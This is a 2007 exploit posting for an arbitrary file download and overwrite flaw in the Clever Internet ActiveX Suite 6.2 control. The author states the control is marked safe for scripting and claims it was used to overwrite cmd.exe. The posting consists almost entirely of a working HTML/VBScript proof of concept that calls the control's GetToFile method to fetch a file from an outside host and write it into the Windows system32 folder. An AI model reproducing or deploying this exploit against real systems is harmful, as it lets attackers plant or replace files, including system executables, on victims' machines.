clever-overwrite.txt
Posted on 26 July 2007
<pre> <code><span style="font: 10pt Courier New;"><span class="general1-symbol">------------------------------------------------------------------------------------------------- <b>Clever Internet ActiveX Suite 6.2 (CLINETSUITEX6.OCX) Arbitrary file download/overwrite Exploit</b> url: http://www.clevercomponents.com/home/news.asp author: shinnai mail: shinnai[at]autistici[dot]org site: http://shinnai.altervista.org Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7 all software that use this ocx are vulnerable to this exploits. <b>This control is marked as RegKey Safe for Script: True RegKey Safe for Init: True Implements IObjectSafety: True IDisp Safe: Safe for untrusted: caller, data IPStorage Safe: Safe for untrusted: caller,data</b> Using the "GetToFile" method, you can download everything you want on a pc. This exploit just download a txt file on pc, I try to overwrite cmd.exe and it works. ------------------------------------------------------------------------------------------------- <object classid='clsid:E8F92847-7C21-452B-91A5-49D93AA18F30' id='test' ></object> <input language=VBScript onclick=tryMe() type=button value="Click here to start the test"> <script language='vbscript'> Sub tryMe() test.GetToFile "http://www.shinnai.altervista.org/shinnai.txt" ,"c:windowssystem32shinnai.txt" MsgBox("Exploit completed!") End Sub </script> </span> </code></pre>
